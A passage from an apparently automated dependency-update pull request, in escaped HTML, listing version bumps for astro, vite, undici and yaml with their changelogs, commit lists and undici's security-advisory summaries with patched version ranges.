Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/withastro/astro/pull/15334\"\u003e#15334\u003c/a\u003e \u003ca href=\"https://github.com/withastro/astro/commit/d715f1f88777a4ce0fb61c8043cccfbac2486ab4\"\u003e\u003ccode\u003ed715f1f\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/florian-lefebvre\"\u003e\u003ccode\u003e@​florian-lefebvre\u003c/code\u003e\u003c/a\u003e! - \u003cstrong\u003eBREAKING CHANGE to the experimental Fonts API only\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/434d9cc7eed62e6324bd922865f5c29136f3474c\"\u003e\u003ccode\u003e434d9cc\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15829\"\u003e#15829\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/c2cd371f9f2003ab8c9ce70a24fc0af40c5de531\"\u003e\u003ccode\u003ec2cd371\u003c/code\u003e\u003c/a\u003e fix(helpers): Backport remote patterns segments fix (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15828\"\u003e#15828\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/011f06106531419f27ce53d0641a3e6ef9db5108\"\u003e\u003ccode\u003e011f061\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15597\"\u003e#15597\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/efae11cef1ebe1f2f54ceb55db0d1ff1938351c6\"\u003e\u003ccode\u003eefae11c\u003c/code\u003e\u003c/a\u003e fix: X-Forwarded-Proto rejected when allowedDomains includes protocol… (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15594\"\u003e#15594\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/751ccf06fab3f1f8e157873354f91f7282a5a1ca\"\u003e\u003ccode\u003e751ccf0\u003c/code\u003e\u003c/a\u003e Update actionBodySizeLimit changeset and make minor (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15600\"\u003e#15600\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/b7dd447e319a7b435c01ccd69347e5261bd9dc14\"\u003e\u003ccode\u003eb7dd447\u003c/code\u003e\u003c/a\u003e make actionBodySizeLimit configurable (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15589\"\u003e#15589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea\"\u003e\u003ccode\u003ee0f1a2b\u003c/code\u003e\u003c/a\u003e [ci] release (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15571\"\u003e#15571\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/522f880b07a4ea7d69a19b5507fb53a5ed6c87f8\"\u003e\u003ccode\u003e522f880\u003c/code\u003e\u003c/a\u003e Limit action request body size (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15564\"\u003e#15564\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/436962a639ad7d606ed19c97b42d2466117e3fc4\"\u003e\u003ccode\u003e436962a\u003c/code\u003e\u003c/a\u003e chore: Upgrade Vite and esbuild (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15554\"\u003e#15554\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/withastro/astro/commit/e01e98b063e90d274c42130ec2a60cc0966622c9\"\u003e\u003ccode\u003ee01e98b\u003c/code\u003e\u003c/a\u003e Respect remote image allowlists (\u003ca href=\"https://github.com/withastro/astro/tree/HEAD/packages/astro/issues/15569\"\u003e#15569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/withastro/astro/commits/astro@5.18.1/packages/astro\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for astro since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `vite` from 5.4.20 to 6.4.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/releases\"\u003evite's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.4.2\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.1\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.1/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.4.0\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.0/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.7\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.7/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev6.3.6\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v6.3.6/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch2\u003ev5.4.21\u003c/h2\u003e\n\u003cp\u003ePlease refer to \u003ca href=\"https://github.com/vitejs/vite/blob/v5.4.21/packages/vite/CHANGELOG.md\"\u003eCHANGELOG.md\u003c/a\u003e for details.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md\"\u003evite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.2 (2026-04-06)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003efe28e47\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22159\"\u003e#22159\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22163\"\u003e#22163\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003eca4da5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/22161\"\u003e#22161\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.4.1 (2025-10-20)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e1114b5d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20968\"\u003e#20968\u003c/a\u003e \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20969\"\u003e#20969\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e6.4.0 (2025-10-15)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003eca6455e\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20932\"\u003e#20932\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.7 (2025-10-14)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003ec59a222\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20940\"\u003e#20940\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.6 (2025-09-08)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: apply \u003ccode\u003efs.strict\u003c/code\u003e check to HTML files (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20736\"\u003e#20736\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/0ab19ea9fcb66f544328f442cf6e70f7c0528d5f\"\u003e0ab19ea\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20736\"\u003e#20736\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: upgrade sirv to 3.0.2 (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20735\"\u003e#20735\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e11d24008b97d4ca731ecc1a3b95260a6d12e7e0\"\u003ee11d240\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20735\"\u003e#20735\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003etest: detect ts support via \u003ccode\u003eprocess.features\u003c/code\u003e (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20544\"\u003e#20544\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/7d9922972b62329d37a71d4da5a4a382d0bf8a79\"\u003e7d99229\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/20544\"\u003e#20544\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.5 (2025-05-05)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(ssr): handle uninitialized export access as undefined (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19959\"\u003e#19959\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/fd38d076fe2455aac1e00a7b15cd51159bf12bb5\"\u003efd38d07\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19959\"\u003e#19959\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.4 (2025-04-30)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: check static serve file inside sirv (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19965\"\u003e#19965\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/c22c43de612eebb6c182dd67850c24e4fab8cacb\"\u003ec22c43d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19965\"\u003e#19965\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(optimizer): return plain object when using \u003ccode\u003erequire\u003c/code\u003e to import externals in optimized dependenci (\u003ca href=\"https://github.com/vitejs/vite/commit/efc5eab253419fde0a6a48b8d2f233063d6a9643\"\u003eefc5eab\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19940\"\u003e#19940\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: remove duplicate plugin context type (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19935\"\u003e#19935\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/d6d01c2292fa4f9603e05b95d81c8724314c20e0\"\u003ed6d01c2\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19935\"\u003e#19935\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003c!-- raw HTML omitted --\u003e6.3.3 (2025-04-24)\u003c!-- raw HTML omitted --\u003e\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ignore malformed uris in tranform middleware (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/19853\"\u003e#19853\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/commit/e4d520141bcd83ad61f16767348b4a813bf9340a\"\u003ee4d5201\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/vitejs/vite/issues/19853\"\u003e#19853\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/6b3fad02abd550bd7b79934ff92c58dbd7f33045\"\u003e\u003ccode\u003e6b3fad0\u003c/code\u003e\u003c/a\u003e release: v6.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca4da5d1fb45c9cfdce606aa30825095791b164b\"\u003e\u003ccode\u003eca4da5d\u003c/code\u003e\u003c/a\u003e fix: avoid path traversal with optimize deps sourcemap handler (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22161\"\u003e#22161\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/fe28e47e9463e4c9619f94bfa06d2f8f1411b44b\"\u003e\u003ccode\u003efe28e47\u003c/code\u003e\u003c/a\u003e fix: apply server.fs check to env transport (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22159\"\u003e#22159\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/22163\"\u003e#22163\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/5487f4f641f70c47ea05fd101a4319897df048b3\"\u003e\u003ccode\u003e5487f4f\u003c/code\u003e\u003c/a\u003e release: v6.4.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/1114b5d7ea03e26572708715343bec69db4536e8\"\u003e\u003ccode\u003e1114b5d\u003c/code\u003e\u003c/a\u003e fix(dev): trim trailing slash before \u003ccode\u003eserver.fs.deny\u003c/code\u003e check (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20968\"\u003e#20968\u003c/a\u003e) (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20969\"\u003e#20969\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/f12697c0f64b9a37196b9ab218a0911829d5b103\"\u003e\u003ccode\u003ef12697c\u003c/code\u003e\u003c/a\u003e release: v6.4.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/ca6455ee9eb6111a9caa9810506a1b9ac96a520a\"\u003e\u003ccode\u003eca6455e\u003c/code\u003e\u003c/a\u003e feat: allow passing down resolved config to vite's createServer (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20932\"\u003e#20932\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/0e173d83681daa31be10fa8a62d56b1ec84690af\"\u003e\u003ccode\u003e0e173d8\u003c/code\u003e\u003c/a\u003e release: v6.3.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/c59a222aa584c087cfe710173de1b9ecb597a3ff\"\u003e\u003ccode\u003ec59a222\u003c/code\u003e\u003c/a\u003e fix(esbuild): inject esbuild helpers correctly for esbuild 0.25.9+ (\u003ca href=\"https://github.com/vitejs/vite/tree/HEAD/packages/vite/issues/20940\"\u003e#20940\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/vitejs/vite/commit/3f337c5e24504e51188d29c970de1416ee523dbb\"\u003e\u003ccode\u003e3f337c5\u003c/code\u003e\u003c/a\u003e release: v6.3.6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/vitejs/vite/commits/v6.4.2/packages/vite\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `undici` from 6.21.3 to 6.24.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nodejs/undici/releases\"\u003eundici's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.24.0\u003c/h2\u003e\n\u003ch1\u003eUndici v6.24.0 Security Release Notes (LTS)\u003c/h1\u003e\n\u003cp\u003eThis release backports fixes for security vulnerabilities affecting the v6 line.\u003c/p\u003e\n\u003ch2\u003eUpgrade guidance\u003c/h2\u003e\n\u003cp\u003eAll users on v6 should upgrade to \u003cstrong\u003ev6.24.0\u003c/strong\u003e or later.\u003c/p\u003e\n\u003ch2\u003eFixed advisories\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-2mjp-6q6p-2qxm\"\u003eGHSA-2mjp-6q6p-2qxm\u003c/a\u003e / CVE-2026-1525 (Medium)\u003cbr /\u003e\nInconsistent interpretation of HTTP requests (request/response smuggling class issue).\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-f269-vfmq-vjvj\"\u003eGHSA-f269-vfmq-vjvj\u003c/a\u003e / CVE-2026-1528 (High)\u003cbr /\u003e\nMalicious WebSocket 64-bit frame length handling could crash the client.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-4992-7rv2-5pvq\"\u003eGHSA-4992-7rv2-5pvq\u003c/a\u003e / CVE-2026-1527 (Medium)\u003cbr /\u003e\nCRLF injection via the \u003ccode\u003eupgrade\u003c/code\u003e option.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8\"\u003eGHSA-v9p9-hfj2-hcw8\u003c/a\u003e / CVE-2026-2229 (High)\u003cbr /\u003e\nUnhandled exception from invalid \u003ccode\u003eserver_max_window_bits\u003c/code\u003e in WebSocket permessage-deflate negotiation.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q\"\u003eGHSA-vrm6-8vpv-qv8q\u003c/a\u003e / CVE-2026-1526 (High)\u003cbr /\u003e\nUnbounded memory consumption in WebSocket permessage-deflate decompression.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNot applicable to v6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/security/advisories/GHSA-phc3-fgpg-7m6h\"\u003eGHSA-phc3-fgpg-7m6h\u003c/a\u003e / CVE-2026-2581 affects \u003ccode\u003e\u0026gt;= 7.17.0 \u0026lt; 7.24.0\u003c/code\u003e only.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eAffected and patched ranges (v6)\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCVE-2026-1525: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1528: affected \u003ccode\u003e\u0026gt;= 6.0.0 \u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1527: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-2229: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eCVE-2026-1526: affected \u003ccode\u003e\u0026lt; 6.24.0\u003c/code\u003e, patched \u003ccode\u003e6.24.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eReferences\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGitHub Security Advisories: \u003ca href=\"https://github.com/nodejs/undici/security/advisories\"\u003ehttps://github.com/nodejs/undici/security/advisories\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1525: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1525\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1528: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1528\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1528\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1527: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1527\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-2229: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-2229\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-2229\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNVD CVE-2026-1526: \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-1526\"\u003ehttps://nvd.nist.gov/vuln/detail/CVE-2026-1526\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.23.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/8873c947271faf1ebc455bdc6158ecbc022ecfa9\"\u003e\u003ccode\u003e8873c94\u003c/code\u003e\u003c/a\u003e Bumped v6.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/411bd01a42e7917009bbf686f7628b99d67bbce9\"\u003e\u003ccode\u003e411bd01\u003c/code\u003e\u003c/a\u003e test(websocket): use node:assert for Node 18 compatibility\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/844bf59699d778944f78a24ae819c0e8f295766e\"\u003e\u003ccode\u003e844bf59\u003c/code\u003e\u003c/a\u003e test: fix http2 lint regressions in backport\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/a444e4f13e8958b4e1ac42bc0d53ace7fba0a9c1\"\u003e\u003ccode\u003ea444e4f\u003c/code\u003e\u003c/a\u003e test: stabilize h2 and tls-cert-leak under current test runner\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/dc032a1050d5489b8ce9b4c22aafba98a942f87b\"\u003e\u003ccode\u003edc032a1\u003c/code\u003e\u003c/a\u003e fix: h2 CI (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/4395\"\u003e#4395\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/4cd3f4b3a2ef910ba728c47ae78294d956410450\"\u003e\u003ccode\u003e4cd3f4b\u003c/code\u003e\u003c/a\u003e test: increase bitness in \u003ccode\u003etest/fixtures/*.pem\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nodejs/undici/issues/3659\"\u003e#3659\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/7df6442194b7a54e9ac734335e6e0a56a9bc6666\"\u003e\u003ccode\u003e7df6442\u003c/code\u003e\u003c/a\u003e fix: adapt websocket frame-limit handling for v6 parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/4e0179ae643e6f4380f24cc3683c1b1ca2afb094\"\u003e\u003ccode\u003e4e0179a\u003c/code\u003e\u003c/a\u003e fix: reject duplicate content-length and host headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/5a97f0893b53ba7d1d5549d3df7e55d9c2673f89\"\u003e\u003ccode\u003e5a97f08\u003c/code\u003e\u003c/a\u003e Fix websocket 64-bit length overflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nodejs/undici/commit/e43e898603dd5e0c14a75b08b83257598d664a39\"\u003e\u003ccode\u003ee43e898\u003c/code\u003e\u003c/a\u003e fix: validate upgrade header to prevent CRLF injection\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nodejs/undici/compare/v6.21.3...v6.24.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for undici since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `yaml` from 2.8.1 to 2.8.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eemeli/yaml/releases\"\u003eyaml's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.8.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdd \u003ccode\u003etrailingComma\u003c/code\u003e ToString option for multiline flow formatting (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/670\"\u003e#670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCatch stack overflow during node composition 